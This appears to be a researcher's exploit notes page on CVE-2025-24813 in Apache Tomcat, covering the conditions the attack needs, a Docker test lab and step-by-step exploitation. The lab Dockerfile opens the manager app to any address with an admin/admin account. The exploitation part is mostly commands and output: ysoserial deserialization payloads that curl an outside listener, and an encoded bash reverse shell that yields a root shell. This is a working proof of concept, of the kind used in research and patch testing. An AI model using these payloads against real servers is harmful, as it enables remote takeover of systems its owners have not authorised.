> For the complete documentation index, see [llms.txt](https://0xpthree.gitbook.io/notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xpthree.gitbook.io/notes/exploits-pocs/apache/tomcat-cve-2025-24813.md).

# Tomcat - CVE-2025-24813

CVE-2025-24813 is a potential <mark style="color:red;">RCE</mark> and/or information disclosure and/or information corruption with partial PUT.

An attacker could achieve remote code execution if all the following conditions are true -

* Writes enabled for the default servlet (disabled by default)
* Support for partial PUT (enabled by default)
* Application was using Tomcat's file based session persistence with the default storage location
* Application included a library that may be leveraged in a deserialization attack

The vulnerability affects both Windows and Linux based installation running any of the below Apache Tomcat versions:

* 9.0.0.M1 <= Apache Tomcat <= 9.0.98
* 10.1.0-M1 <= Apache Tomcat <= 10.1.34
* 11.0.0-M1 <= Apache Tomcat <= 11.0.2

First available poc was published by [iSee857](https://github.com/iSee857/CVE-2025-24813-PoC/tree/main) targeting a Windows installation, below is the Linux equivalent.&#x20;

## Setup test environment

To setup a test docker container we need to tweak the [Dockerfile](/notes/development/docker/tomcat.md) a little to include `common-collections-x.x.x.jar`, as well as the non-default configuration in `web.xml` and `context.xml`.&#x20;

<pre class="language-xml"><code class="lang-xml"><strong>&#x3C;!-- web.xml (enable write for default servlet) -->
</strong><strong>&#x3C;init-param>
</strong>    &#x3C;param-name>readonly&#x3C;/param-name>
    &#x3C;param-value>false&#x3C;/param-value>
&#x3C;/init-param>

&#x3C;!-- context.xml (file based session persistance with default storage location) -->
&#x3C;Manager className="org.apache.catalina.session.PersistentManager">
    &#x3C;Store className="org.apache.catalina.session.FileStore"/>
&#x3C;/Manager>
</code></pre>

I decided to go with Tomcat version 11.0.1 in my test environment.&#x20;

```docker
# Dockerfile
# Stage 1: Build stage to copy web apps and make modifications
FROM tomcat:11.0.1 as build

# Copy the necessary configuration files
COPY ./web.xml /usr/local/tomcat/conf/web.xml
COPY ./context.xml /usr/local/tomcat/conf/context.xml
COPY ./commons-collections-3.2.1.jar /usr/local/tomcat/lib/

# Copy web applications (ROOT and manager) from the `webapps.dist` folder inside the container
RUN mkdir -p /usr/local/tomcat/webapps/ROOT && \
    cp -r /usr/local/tomcat/webapps.dist/ROOT/* /usr/local/tomcat/webapps/ROOT && \
    cp -r /usr/local/tomcat/webapps.dist/manager /usr/local/tomcat/webapps/manager && \
    sed -i 's/allow="[^"]*"/allow=".*"/' /usr/local/tomcat/webapps/manager/META-INF/context.xml && \
    sed -i '/<\/tomcat-users>/d' /usr/local/tomcat/conf/tomcat-users.xml && \
    echo '  <role rolename="manager-gui"/>' >> /usr/local/tomcat/conf/tomcat-users.xml && \
    echo '  <role rolename="admin-gui"/>' >> /usr/local/tomcat/conf/tomcat-users.xml && \
    echo '  <user username="admin" password="admin" roles="manager-gui,admin-gui"/>' >> /usr/local/tomcat/conf/tomcat-users.xml && \
    echo '</tomcat-users>' >> /usr/local/tomcat/conf/tomcat-users.xml

# Stage 2: Final image to run Tomcat
FROM tomcat:11.0.1

# Copy from the build stage
COPY --from=build /usr/local/tomcat/webapps /usr/local/tomcat/webapps
COPY --from=build /usr/local/tomcat/conf /usr/local/tomcat/conf
COPY --from=build /usr/local/tomcat/lib /usr/local/tomcat/lib

# Expose the necessary port
EXPOSE 8080

# Start Tomcat in the foreground
CMD ["catalina.sh", "run"]
```

```bash
$ docker build -t tomcat1101 .
$ docker run -d -p 8888:8080 --name tomcat1101 tomcat1101
```

## Verify vulnerability

### Step 1: Uploading a Malicious Serialized Session

Create some random serialized data and upload it with `PUT /anything/session`. The payload is not important at this stage, we just want to verify that the target respond with HTTP 409.&#x20;

```bash
kpen :: ~/tools » java -jar ysoserial-all.jar CommonsCollections7 whoami | base64 -w0
rO0ABXNyABNqYXZhLnV0a...
```

<figure><img src="/files/NqkBkxtvPVe1jyOrqf0Q" alt=""><figcaption></figcaption></figure>

If we login to the docker container we can see that the new serialized session is created in the directory `/usr/local/tomcat/work/Cataline/localhost/ROOT`.

<figure><img src="/files/0QDhue3djyT0163lsHaS" alt=""><figcaption></figcaption></figure>

### Step 2: Triggering Execution via Session Cookie

Once the session file is uploaded, the attacker triggers deserialization by sending a simple GET request with the JSESSIONID pointing to the malicious session.

<figure><img src="/files/aoqo6hzHH7B2uVPGpktI" alt=""><figcaption></figcaption></figure>

Tomcat, seeing this session ID, retrieves the stored file, deserializes it, and executes the embedded Java code, granting full remote access to the attacker.&#x20;

I've noticed during my testing that using CommonCollections6 (cc6) will result in a HTTP 500 response, while cc7 get HTTP 200 response. Both are valid and the payload is triggered as seen below, but I guess cc7 has the edge in terms of stealth.

```bash
kpen :: ~/tomcat » java --add-opens java.base/java.util=ALL-UNNAMED -jar ../tools/ysoserial-all.jar CommonsCollections6 'curl http://172.17.0.1:4444/cc6' | base64 -w0 > cc6.ser
kpen :: ~/tomcat » java --add-opens java.base/java.util=ALL-UNNAMED -jar ../tools/ysoserial-all.jar CommonsCollections7 'curl http://172.17.0.1:4444/cc7' | base64 -w0 > cc7.ser

kpen :: ~/tomcat » python3 exp.py url.txt cc6.ser
kpen :: ~/tomcat » python3 exp.py url.txt cc7.ser

kpen :: ~/tomcat » python3 -m http.server 4444
Serving HTTP on 0.0.0.0 port 4444 (http://0.0.0.0:4444/) ...
172.17.0.2 - - [19/Mar/2025 13:10:04] code 404, message File not found
172.17.0.2 - - [19/Mar/2025 13:10:04] "GET /cc6 HTTP/1.1" 404 -
172.17.0.2 - - [19/Mar/2025 13:10:19] code 404, message File not found
172.17.0.2 - - [19/Mar/2025 13:10:19] "GET /cc7 HTTP/1.1" 404 -
```

***

## POC || GTFO

```bash
## build payload
kpen :: ~/tomcat » echo "bash -i >& /dev/tcp/172.17.0.1/4444 0>&1" | base64   
YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTcuMC4xLzQ0NDQgMD4mMQo=
kpen :: ~/tomcat » java --add-opens java.base/java.util=ALL-UNNAMED -jar ../tools/ysoserial-all.jar CommonsCollections6 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTcuMC4xLzQ0NDQgMD4mMQo=}|{base64,-d}|{bash,-i}' | base64 -w0 > payload.ser

## run exploit
kpen :: ~/tomcat » python3 exp.py

## capture revshell
kpen :: ~/tomcat » nc -lvnp 4444                                                   
listening on [any] 4444 ...
connect to [172.17.0.1] from (UNKNOWN) [172.17.0.2] 59082
root@1ad748140a56:/usr/local/tomcat# id && hostname
uid=0(root) gid=0(root) groups=0(root)
1ad748140a56
```
